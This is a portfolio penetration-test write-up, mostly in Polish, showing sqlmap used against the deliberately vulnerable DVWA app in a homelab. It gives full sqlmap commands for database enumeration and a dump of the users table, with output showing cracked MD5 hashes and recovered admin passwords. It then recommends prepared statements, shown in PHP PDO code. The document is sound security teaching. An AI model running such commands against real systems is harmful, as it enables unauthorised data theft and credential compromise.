CLASSIFICATION: INTERNAL — HOMELAB ONLY · For educational and portfolio purposes exclusively

PENTEST REPORT // RED TEAM WRITE-UP

Vulnerability Assessment: Automated SQL Injection

Target: DVWA Vector: Error-based / Time-based SQLi Environment: Homelab Tool: sqlmap 1.8.x
report-metadata.json

authorMaksymilian Frankowski

date2026-05-26

classificationInternal — Homelab Only

toolsqlmap 1.8.x

target_appDamn Vulnerable Web App (DVWA)

scopeIsolated local network · No live systems


00 // EXECUTIVE SUMMARY

Overview

Poniższy raport przedstawia zautomatyzowaną ekstrakcję danych ze środowiska podatnego na atak SQL Injection. Test przeprowadzono w całkowicie izolowanym środowisku lokalnym (Homelab), na celowo podatnej aplikacji (Damn Vulnerable Web App), w celu demonstracji łańcucha ataku (Kill Chain) — od rozpoznania, aż po łamanie zabezpieczeń kryptograficznych.

Reconnaissance
Exploitation
Data Exfiltration
Credential Cracking
01

PHASE-01 // DISCOVERY

Reconnaissance

Wykorzystano narzędzie sqlmap do enumeracji dostępnych baz danych. Potwierdzono podatność parametru ID na atak typu boolean-based blind i wyliczono schematy, co ujawniło główny cel: bazę dvwa.

bash · Phase 1 Command
sqlmap --dbs
# Enumerate available databases
$ sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit#" \
    --cookie="PHPSESSID=a1b2c3d4; security=low" \
    --dbs --batch --level=3

---
[*] starting @ 21:04:12
[INFO] testing connection to the target URL
[INFO] parameter 'id' appears to be 'boolean-based blind' injectable
[INFO] parameter 'id' appears to be 'error-based' injectable

available databases [2]:
[*] dvwa
[*] information_schema
SQLi Discovery Phase — sqlmap database enumeration output
Fig. 1 — sqlmap confirming SQL injection vectors and enumerating database schemas
02

PHASE-02 // EXPLOITATION

Data Exfiltration & Cracking

Skoncentrowano ładunek bezpośrednio na tabeli users w zidentyfikowanej bazie. Dokonano pełnego zrzutu danych (dump) oraz w locie złamano hashe MD5 metodą słownikową, uzyskując dostęp do kont administracyjnych.

bash · Phase 2 Command
sqlmap --dump
# Target specific table and dump with hash cracking
$ sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit#" \
    --cookie="PHPSESSID=a1b2c3d4; security=low" \
    -D dvwa -T users \
    --dump --batch

---
[INFO] fetching columns for table 'users' in database 'dvwa'
[INFO] recognized possible password hashes in column 'password'
[INFO] cracking hashes with dictionary attack (MD5)
[INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[INFO] cracked password 'abc123'   for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
SQLi Dump Command — targeting dvwa.users table
Fig. 2 — sqlmap payload targeting dvwa.users table, triggering full data dump
Cracked MD5 Hashes — admin credentials recovered
Fig. 3 — MD5 hashes cracked on-the-fly via dictionary attack; admin credentials fully exposed
FIX

REMEDIATION // REKOMENDACJE NAPRAWCZE

How to Fix It

REMEDIATION NOTE

Aby zabezpieczyć aplikację przed tego typu wektorem ataku, rekomenduje się wdrożenie parametryzacji zapytań (Prepared Statements) po stronie backendu (np. przy użyciu biblioteki PDO w PHP) oraz rygorystyczną walidację i sanityzację danych wejściowych pochodzących od użytkownika.

remediation-checklist.md
  • Prepared Statements / Parameterized Queries

    Zastąp dynamiczne zapytania SQL zapytaniami parametryzowanymi. PDO (PHP), psycopg2 (Python), PreparedStatement (Java).

  • Input Validation & Sanitization

    Waliduj typy, długości i dozwolone znaki każdego parametru wejściowego. Nie ufaj danym od użytkownika.

  • Least Privilege Database Account

    Konto bazy danych używane przez aplikację powinno mieć wyłącznie uprawnienia SELECT/INSERT/UPDATE na wymaganych tabelach.

  • Strong Password Hashing

    Zamień MD5 na bcrypt / Argon2id. MD5 jest kryptograficznie złamany i nie nadaje się do przechowywania haseł.

  • Web Application Firewall (WAF)

    Wdrożenie WAF (np. ModSecurity, Cloudflare WAF) jako dodatkowej warstwy detekcji i blokowania ataków SQLi.

secure-query.php · Remediated code
SECURE
// ❌ VULNERABLE — dynamic string concatenation
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

// ─────────────────────────────────────────────────

// ✅ SECURE — PDO Prepared Statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $_GET['id']]);
$result = $stmt->fetchAll();
root@zwidek-core-01 ~ report.conclusion

const conclusion = "Cały łańcuch ataku (Kill Chain) — od detekcji podatności po odzyskanie danych uwierzytelniających — wykonano w pełni zautomatyzowanie przy użyciu sqlmap w czasie poniżej 60 sekund.";

// Demonstracja podkreśla krytyczne znaczenie Prepared Statements i silnego hashowania haseł w każdej aplikacji webowej.

$ echo "Report generated by Maksymilian Frankowski · zwidek.pl"

← Back to portfolio

© 2026 · Maksymilian Frankowski · All systems nominal